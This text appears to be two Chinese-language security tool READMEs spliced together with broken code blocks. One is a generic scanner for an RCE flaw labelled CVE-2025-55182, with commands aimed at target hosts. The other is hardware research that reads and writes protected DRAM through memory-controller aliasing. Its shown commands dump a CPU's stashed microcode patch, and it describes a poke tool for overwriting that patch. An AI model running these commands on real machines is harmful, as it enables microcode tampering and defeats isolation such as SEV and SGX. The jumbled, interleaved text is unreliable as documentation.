[!] 描述: 远程代码执行
[+] 结果已保存到: results.txt
工作原理
该工具通过发送特制请求来检测 CVE-2025-55182 漏洞:
- 侦察: 识别目标应用程序及其版本
- 检测: 发送特制载荷以触发该漏洞
- 验证: 分析响应以确认漏洞是否存在
- 报告: 生成包含发现的详细报告
检测方法
该工具使用多种检测技术:
- 基于时间的检测: 测量响应时间以识别盲注漏洞
- 基于错误的检测: 分析错误消息以获取漏洞指标
- 基于响应的检测: 检查响应内容以寻找成功利用的迹象
- 带外检测: 使用外部服务确认漏洞
漏洞详情
CVE-2025-55182
- 类型: 远程代码执行 (RCE)
- 严重性: 严重 (CVSS 9.8)
- 受影响组件: Web 应用程序框架
- 攻击向量: 网络
- 所需权限: 无
- 用户交互: 无
影响
成功利用该漏洞可能允许攻击者:
- 在目标服务器上执行任意代码
- 访问敏感数据
- 修改或删除文件
- 安装后门或恶意软件
- 转向其他系统
缓解措施
- 更新到最新版本的受影响软件
- 应用供应商提供的安全补丁
- 实施网络分段
- 使用 Web 应用程序防火墙 (WAF)
- 监控可疑活动
免责声明
本工具仅用于教育和道德测试目的。未经授权访问计算机系统是非法的,并可能违反当地、州、国家和国际法律。请始终确保您拥有测试目标系统的明确书面许可。
作者对因使用或滥用本工具而造成的任何损害或损失不承担责任。```text core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
一个核心设置了 BSP 位,三个没有——引导处理器及其三个
AP,在空闲时被捕获,寄存器状态暴露无遗。
你越深入探查,就会发现越多的 CPU 寄存器:
| 偏移量 | x86 状态 | core-0 值 |
|---|---|---|
| `+0x8b0` | GS / per-cpu base | `0xffff9be4e3600000` |
| `+0x9a0` | CR3(页表根) | `0x0fd46000` |
| `+0x9b8` | IA32_APIC_BASE | `0xfee00900` |
| `+0xa38` | 可变 MTRR(基址/掩码) | `0x6f000000 / …0800` |
| `+0xb10` | 保存的 RIP | `0xffffffff8f3a0029` |
当然,这些寄存器从 ring-0 本来就可以访问。*有趣*的部分在于
所有*其他*驻留在那里的 CPU 状态——探查 ring-0 无法触及的
内部 CPU 寄存器。
---
## 快速开始:解锁你的 CPU 微码
> *能出什么问题呢?*
当一个核心进入 C6 状态时,它的微码补丁 RAM——易失性 SRAM——会随
核心的其余部分一起断电。因此 C6 暂存区将已加载的补丁保存在 DRAM 中,并在唤醒时重新
注入。该副本位于每个保存区域的 `+0x1800` 处,别名可以像访问其他字节一样
访问它。
获取 CPU 暂存在受保护 DRAM 中的微码副本:```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
将其与已知补丁进行匹配:```sh
did we find it?
python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF
这是一个好迹象:```text
fam15h: 0/94 chunks match
fam16h: 68/94 chunks match <- the microcode the core is running
fam17h: 0/94 chunks match
fam19h: 0/94 chunks match
提取 ucode 三元组:```sh od -Ax -tx1 -w20 ucode_ram.bin
## 使用示例
### 基本用法
```bash
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用代理扫描
python3 cve_2025_55182.py -t https://target.example.com -p http://127.0.0.1:8080
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义超时和线程数
python3 cve_2025_55182.py -f targets.txt -T 15 -t 20
高级用法
# 使用自定义载荷进行扫描
python3 cve_2025_55182.py -t https://target.example.com --payload "custom_payload"
# 启用详细输出
python3 cve_2025_55182.py -t https://target.example.com -v
# 将结果保存到文件
python3 cve_2025_55182.py -f targets.txt -o results.txt
输出示例
[+] 目标 https://target.example.com 存在漏洞
[+] 已获取响应: HTTP 200
[+] 响应时间: 1.23s
免责声明
本工具仅用于授权的安全测试和教育目的。未经授权使用本工具攻击目标属于违法行为。使用者应遵守所有适用的法律法规。```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0
就是这样,顶部是不同的 uops,下面重复着 NOP 填充。
从那里开始,`dram_dump` 有一个兄弟工具,`dram_poke`。读取补丁的同一个别名可以写入它——而这个副本正是核心从空闲状态恢复时重新加载的那个。
接下来做什么就取决于你的想象力了。
---
## 构建```
make # builds kernel/spaghettify.ko and all userspace tools
make clean
用法
以 root 身份运行。完整细节见 USAGE.md。
dram_read
从受保护的内存地址进行简单读取。
将 --do-swizzle / --do-bankswap 翻转推入 DRAM 控制器,以进入
spaghettified 内存视图,从物理地址 <pa> 读取一个 dword,
恢复 DCT 位,并返回该值。```
dram_read
--pa
--do-swizzle <0|1>
--do-bankswap <0|1>
### `dram_poke`
写入受保护的内存范围。
每个 `--map` 都是来自 `unspaghettify.py --save-map` 的已解开的 spaghettification,其本身由 `gather_aliases.py` 收集的别名对提供;受保护范围内每个 dword 的别名通过启动时计算一次的 GF(2) 伪逆从映射中恢复。传入多个映射——每个 `(at_swizzle, at_bankswap)` 在同一硬件上收集一个——以扩大覆盖范围,因为每个 spaghettification 会留下不同的秩亏空洞,而第一个到达给定 dword 的映射获胜。```
dram_poke
[--dangerously-skip-calibration]
[--calibrate-pa <hex>]
[--strict-holes]
[--no-verify]
[--ignore-fw-mismatch]
[--fenced-range <lo>,<hi>]
[--allow-fenced-alias]
-s, --protected-pa <pa>
-l, --length <n>
--map <file> [--map <file>]...
< in.bin
dram_dump
从受保护的内存范围读取。
与 dram_poke 使用相同的 --map 机制:每个映射都是通过 unspaghettify.py --save-map 求解出的 spaghettification,每个 dword 的别名都通过一次性 GF(2) 伪逆恢复,而在不同 (at_swizzle, at_bankswap) 下采集的多个映射可以扩大覆盖范围,其中一个映射的秩亏空洞会被另一个映射填补。```
dram_dump
[--dangerously-skip-calibration]
[--calibrate-pa ]
[--dry-run]
[--ignore-fw-mismatch]
[--fenced-range ,]
[--allow-fenced-alias]
-s, --protected-pa
-l, --length
--map [--map ]...
完整的工具链——`dram_state`、`dram_carveouts` 和 `dram_alias`;`gather_aliases.py` / `unspaghettify.py` 分析流水线;完整的端到端示例;以及内部实现——均记录在 **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/main/USAGE.md)** 中。
---
## 共享流水线
`skitter-creek-bath-salts` 探索了 MCT/DCT 变换的最后阶段如何能够颠覆构建于其上的所有安全性。此处演示的漏洞利用是 AMD Family 16h 上的一个配置寄存器,之所以选择它,是因为数据手册提供了足够的信息来开始。它所破坏的*流水线*无处不在。
通道交织、秩交织、bank 交织、swizzle、片选归一化——每一款现代内存控制器都会以某种形式执行所有这些操作。AMD。Intel。ARM。RISC-V。移动端。服务器。嵌入式。相同的架构形态存在于一切之下。
在这一切*之上*,坐落着 SEV、SGX、TDX、TrustZone、CCA realms、pKVM、CoVE、SEP、PSP、ME、T-SEG、SMRAM、C6 stash。一切位于 DRAM 中的东西——甚至那些被隔离、对 ring-0 或 CPU 本身都不可见的东西——都依赖于我们刚刚开始探索的 `*p` 流水线的最后几层。
---
## 参考文献
* Black Hat 2026 — Spaghettifying DRAM(即将发布)
---
## 作者
`skitter-creek-bath-salts` 是 Christopher Domas([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/))的一项研究工作
---

---